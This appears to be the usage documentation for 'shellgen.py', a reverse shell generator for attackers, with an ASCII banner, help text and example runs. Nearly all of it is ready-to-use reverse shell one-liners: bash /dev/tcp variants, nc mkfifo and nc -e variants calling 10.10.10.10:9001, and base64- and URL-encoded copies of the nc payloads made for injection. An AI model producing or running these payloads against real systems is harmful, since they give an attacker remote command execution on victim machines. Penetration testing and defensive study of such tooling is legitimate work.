(`-').->  (`-').->  (`-')  _                                 (`-')  _ <-. (`-')_ 
 ( OO)_    (OO )__   ( OO).-/    <-.       <-.        .->     ( OO).-/    \( OO) )
(_)--\_)  ,--. ,'-' (,------.  ,--. )    ,--. )    ,---(`-') (,------. ,--./ ,--/ 
/    _ /  |  | |  |  |  .---'  |  (`-')  |  (`-') '  .-(OO )  |  .---' |   \ |  | 
\_..`--.  |  `-'  | (|  '--.   |  |OO )  |  |OO ) |  | .-, \ (|  '--.  |  . '|  |)
.-._)   \ |  .-.  |  |  .--'  (|  '__ | (|  '__ | |  | '.(_/  |  .--'  |  |\    |  
\       / |  | |  |  |  `---.  |     |'  |     |' |  '-'  |   |  `---. |  | \   | 
 `-----'  `--' `--'  `------'  `-----'   `-----'   `-----'    `------' `--'  `--'

usage: shellgen.py [-h] [-i <attacker ip>] [-p <attacker port>] [-m method to use] [-l] [-b] [-u]

optional arguments:
  -h, --help          show this help message and exit
  -i <attacker ip>    Attacker ip address to receive the connection back from victim machine. Default = 127.0.0.1
  -p <attacker port>  Attacker port to listen on. Default = 1337
  -m method to use    A comma seperated list of reverse shell methods. Default is bash
  -l                  List available methods for reverse shells
  -b                  Base64 encode the reverse shell output
  -u                  Url encode the reverse shell output

python3 shellgen.py 

# No method specified with -m! Using defalt method of bash
bash: 
    bash -i >& /dev/tcp/127.0.0.1/1337 0>&1 

    0<&196;exec 196<>/dev/tcp/127.0.0.1/1337; bash <&196 >&196 2>&196 

    exec 5<>/dev/tcp/127.0.0.1/1337;cat <&5 | while read line; do $line 2>&5 >&5; done 

python3 shellgen.py -i 10.10.10.10 -m nc -p 9001

nc: 
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.10.10 9001 >/tmp/f  

    nc -e bash 10.10.10.10 9001  

    nc.exe -e bash 10.10.10.10 9001

python3 shellgen.py -i 10.10.10.10 -p 9001 -b -m nc

nc: 
   IHJtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8YmFzaCAtaSAyPiYxfG5jIDEwLjEwLjEwLjEwIDkwMDEgPi90bXAvZiA= 

   IG5jIC1lIGJhc2ggMTAuMTAuMTAuMTAgOTAwMSA= 

   bmMuZXhlIC1lIGJhc2ggMTAuMTAuMTAuMTAgOTAwMSA= 

python3 shellgen.py -i 10.10.10.10 -p 9001 -u -m nc
nc: 
   %20rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7Cbash%20-i%202%3E%261%7Cnc%2010.10.10.10%209001%20%3E/tmp/f%20 

   %20nc%20-e%20bash%2010.10.10.10%209001%20 

   nc.exe%20-e%20bash%2010.10.10.10%209001%20